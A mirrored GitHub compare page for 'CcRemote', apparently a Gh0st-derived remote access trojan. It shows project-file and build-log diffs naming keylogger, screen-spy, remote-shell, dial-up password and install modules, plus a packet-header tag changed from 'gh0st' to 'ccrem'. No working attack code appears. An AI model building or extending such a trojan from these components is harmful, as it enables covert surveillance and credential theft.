mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-08-01 15:06:49 +00:00
Compare commits
6 Commits
20200618.1
...
20200620.2
Author | SHA1 | Date | |
---|---|---|---|
![]() |
84c52cb895 | ||
![]() |
b2c6fc3a23 | ||
![]() |
93b91091fc | ||
![]() |
3943db0336 | ||
![]() |
00511401f8 | ||
![]() |
1de023dfa4 |
Binary file not shown.
@@ -173,6 +173,7 @@
|
|||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\..\common\Audio.h" />
|
<ClInclude Include="..\..\common\Audio.h" />
|
||||||
|
<ClInclude Include="..\..\common\zlib\zlib.h" />
|
||||||
<ClInclude Include="ClientSocket.h" />
|
<ClInclude Include="ClientSocket.h" />
|
||||||
<ClInclude Include="common\AudioManager.h" />
|
<ClInclude Include="common\AudioManager.h" />
|
||||||
<ClInclude Include="common\Buffer.h" />
|
<ClInclude Include="common\Buffer.h" />
|
||||||
@@ -181,6 +182,8 @@
|
|||||||
<ClInclude Include="common\install.h" />
|
<ClInclude Include="common\install.h" />
|
||||||
<ClInclude Include="common\KernelManager.h" />
|
<ClInclude Include="common\KernelManager.h" />
|
||||||
<ClInclude Include="common\KeyboardManager.h" />
|
<ClInclude Include="common\KeyboardManager.h" />
|
||||||
|
<ClInclude Include="common\login.h" />
|
||||||
|
<ClInclude Include="common\loop.h" />
|
||||||
<ClInclude Include="common\Manager.h" />
|
<ClInclude Include="common\Manager.h" />
|
||||||
<ClInclude Include="common\RegEditEx.h" />
|
<ClInclude Include="common\RegEditEx.h" />
|
||||||
<ClInclude Include="common\ScreenManager.h" />
|
<ClInclude Include="common\ScreenManager.h" />
|
||||||
|
@@ -81,6 +81,15 @@
|
|||||||
<ClInclude Include="StrCry.h">
|
<ClInclude Include="StrCry.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="common\login.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="common\loop.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="..\..\common\zlib\zlib.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="dllmain.cpp">
|
<ClCompile Include="dllmain.cpp">
|
||||||
|
@@ -319,7 +319,7 @@ void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
|
|||||||
{
|
{
|
||||||
BYTE bPacketFlag[FLAG_SIZE];
|
BYTE bPacketFlag[FLAG_SIZE];
|
||||||
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
|
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
|
||||||
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD> g h 0 s t <20><><EFBFBD>ض<EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD> ccrem <20><><EFBFBD>ض<EFBFBD><D8B6>е<EFBFBD>
|
||||||
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
|
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
|
||||||
throw "bad buffer";
|
throw "bad buffer";
|
||||||
|
|
||||||
|
@@ -1,37 +1 @@
|
|||||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
|
||||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
|
||||||
f:\myapp\ccremote\bin\server\ccmaindll.ilk
|
|
||||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
|
||||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
|
||||||
|
@@ -19,12 +19,18 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(429): warning C4244: “
|
|||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: “>=”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: “>=”: 有符号/无符号不匹配
|
||||||
Buffer.cpp
|
Buffer.cpp
|
||||||
until.cpp
|
until.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(176): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(179): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4309: “初始化”: 截断常量值
|
||||||
正在生成代码...
|
正在生成代码...
|
||||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||||
AudioManager.cpp
|
AudioManager.cpp
|
||||||
@@ -50,23 +56,49 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 's
|
|||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
KernelManager.cpp
|
KernelManager.cpp
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4309: “初始化”: 截断常量值
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4309: “初始化”: 截断常量值
|
||||||
KeyboardManager.cpp
|
KeyboardManager.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
Manager.cpp
|
Manager.cpp
|
||||||
RegEditEx.cpp
|
RegEditEx.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
ScreenManager.cpp
|
ScreenManager.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||||
@@ -84,23 +116,37 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'st
|
|||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||||
VideoCap.cpp
|
VideoCap.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(119): warning C4101: “gCapTureParms”: 未引用的局部变量
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||||
VideoManager.cpp
|
VideoManager.cpp
|
||||||
正在生成代码...
|
正在生成代码...
|
||||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||||
FileManager.cpp
|
FileManager.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4309: “初始化”: 截断常量值
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(291): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(292): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(442): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307: “+”: 整型常量溢出
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(614): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||||
dllmain.cpp
|
dllmain.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
||||||
|
BIN
CcMainDll/CcMainDll/Debug/kernelmanager.obj.enc
Normal file
BIN
CcMainDll/CcMainDll/Debug/kernelmanager.obj.enc
Normal file
Binary file not shown.
@@ -1 +1,37 @@
|
|||||||
|
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||||
|
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||||
|
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
|
||||||
|
f:\myapp\ccremote\bin\server\ccmaindll.iobj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audio.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\install.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\strcry.obj
|
||||||
